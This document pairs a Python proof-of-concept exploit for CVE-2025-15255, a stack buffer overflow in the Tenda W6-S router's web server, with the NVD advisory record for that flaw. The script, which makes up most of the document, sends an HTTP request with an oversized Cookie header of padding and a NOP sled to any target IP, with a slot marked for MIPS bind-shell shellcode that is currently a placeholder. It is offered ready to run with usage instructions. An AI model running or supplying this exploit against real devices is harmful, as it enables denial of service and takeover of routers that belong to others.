CVE-2025-15255

#!/usr/bin/env python3 """ CVE-2025-15255 PoC - Tenda W6-S R7websSsecurityHandler Buffer Overflow Affected: Tenda W6-S 1.0.0.4(510) CVSS: 9.8 (Critical) """ import socket import sys def send_exploit(target_ip, target_port=80): # Create a long Cookie value to trigger stack buffer overflow # The exact overflow length depends on the specific firmware version overflow_length = 1024 # Adjust based on target # Padding to reach return address on stack junk_data = b'A' * overflow_length # Optional: NOP sled for reliability nop_sled = b'\x90' * 16 # Example shellcode - binds shell to port 4444 (MIPS LE) # This is a placeholder - actual shellcode should be crafted for MIPS architecture shellcode = b'\x00' * 100 # Replace with actual MIPS shellcode # Construct payload payload = junk_data + nop_sled + shellcode # Build HTTP request with malicious Cookie header http_request = f"GET / HTTP/1.1\r\n" http_request += f"Host: {target_ip}\r\n" http_request += f"Cookie: {payload.decode('latin-1')}\r\n" http_request += "Connection: close\r\n\r\n" print(f"[*] Sending exploit to {target_ip}:{target_port}...") print(f"[*] Payload length: {len(payload)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode('utf-8')) response = sock.recv(1024) print(f"[+] Response received: {len(response)} bytes") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 send_exploit(target, port)

{"cve": {"id": "CVE-2025-15255", "sourceIdentifier": "[email protected]", "published": "2025-12-30T16:15:44.423", "lastModified": "2026-02-24T07:17:07.100", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tenda W6-S 1.0.0.4(510). This impacts an unknown function of the file /bin/httpd of the component R7websSsecurityHandler. Executing a manipulation of the argument Cookie can lead to stack-based buffer overflow. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en Tenda W6-S 1.0.0.4(510). Esto afecta a una función desconocida del archivo /bin/httpd del componente R7websSsecurityHandler. La manipulación del argumento cookie puede llevar a un desbordamiento de búfer basado en pila. El ataque puede lanzarse de forma remota. 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